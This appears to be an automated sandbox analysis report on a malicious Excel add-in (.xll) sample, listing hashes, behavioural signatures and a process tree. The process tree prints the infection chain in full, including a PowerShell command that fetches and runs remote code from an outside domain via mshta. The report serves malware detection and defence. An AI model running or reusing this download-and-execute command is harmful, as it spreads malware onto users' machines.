Analysis
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max time kernel
100s -
max time network
129s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 21:52
Static task
static1
Behavioral task
behavioral1
Sample
8950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
8950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4.xll
Resource
win11-20240508-en
General
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Target
8950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4.xll
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Size
12KB
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MD5
87bd426f3ab19ee1b2581cfb944c6494
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SHA1
7ac2c744511311be0644a5ce17f2b06a684bf7f5
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SHA256
8950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4
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SHA512
638dc114dd8bcdaf7ad5348f42328bab5d8df008432ed31d6834a80d4bb3e66facf549ef5cd44a35265c6c8bdc71e5f92813a2a418e0f702330438b6ec875024
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SSDEEP
192:zL29RBzDzeobchBj8JONdONuruGIrEPEjr7AhS:v29jnbcvYJOawutvr7CS
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3064 2320 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 4324 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 2320 EXCEL.EXE 2320 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2320 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4324 powershell.exe 4324 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4324 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 2320 EXCEL.EXE 2320 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE 2320 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 2320 wrote to memory of 3064 2320 EXCEL.EXE mshta.exe PID 2320 wrote to memory of 3064 2320 EXCEL.EXE mshta.exe PID 2320 wrote to memory of 3064 2320 EXCEL.EXE mshta.exe PID 3064 wrote to memory of 4324 3064 mshta.exe powershell.exe PID 3064 wrote to memory of 4324 3064 mshta.exe powershell.exe PID 3064 wrote to memory of 4324 3064 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4324
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\8950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4.xll
Filesize12KB
MD587bd426f3ab19ee1b2581cfb944c6494
SHA17ac2c744511311be0644a5ce17f2b06a684bf7f5
SHA2568950fc9ae8624b1f3523bc783f7fb1ca4072ef0bbc728dc2a47c79ecbf3e6ed4
SHA512638dc114dd8bcdaf7ad5348f42328bab5d8df008432ed31d6834a80d4bb3e66facf549ef5cd44a35265c6c8bdc71e5f92813a2a418e0f702330438b6ec875024
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82